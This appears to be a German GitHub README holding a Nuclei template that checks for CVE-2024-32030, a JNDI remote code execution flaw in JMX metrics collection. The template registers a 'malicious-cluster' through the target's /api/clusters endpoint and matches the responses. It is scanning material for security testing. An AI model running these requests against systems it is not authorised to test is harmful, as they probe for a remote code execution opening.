huseyinstif/cve-2024-32030-nuclei-templateNuclei-Vorlage zur Erkennung der JMX-JNDI-Remote-Codeausführungsschwachstelle CVE-2024-32030 über eine bösartige Serververbindung.
Dieses Repository enthält eine Nuclei-Vorlage zur Erkennung der Sicherheitslücke CVE-2024-32030. Diese Schwachstelle ermöglicht eine Remote-Code-Ausführung über JMX Metrics Collection JNDI Resolution.
id: CVE-2024-32030
info:
name: CVE-2024-32030 JMX Metrics Collection JNDI RCE
author: Hüseyin TINTAŞ
severity: critical
description: >
CVE-2024-32030 JMX Metrics Collection JNDI Resolution Remote Code Execution Vulnerability.
This template checks for the presence of the vulnerability by attempting to connect to a malicious JMX server.
tags: cve, cve2024, jmx, rce, cve2024-32030
requests:
- method: POST
path:
- "{{BaseURL}}/api/clusters"
headers:
Content-Type: "application/json"
body: |
{
"name": "malicious-cluster",
"bootstrapServers": ["127.0.0.1:1718"],
"metrics": {
"type": "JMX",
"port": 1718
}
}
matchers:
- type: word
part: body
words:
- "malicious-cluster added successfully"
- method: GET
path:
- "{{BaseURL}}/api/clusters/malicious-cluster"
matchers:
- type: word
part: body
words:
- "malicious-cluster"
- method: GET
path:
- "{{BaseURL}}/api/clusters/malicious-cluster/metrics"
matchers:
- type: word
part: body
words:
- "metrics"
Um diese Vorlage zu verwenden, speichern Sie sie als cve-2024-32030.yaml und führen Sie sie mit Nuclei aus:
nuclei -t CVE-2024-32030.yaml -u http://target-server
Bei Fragen oder für weitere Informationen können Sie mich erreichen über: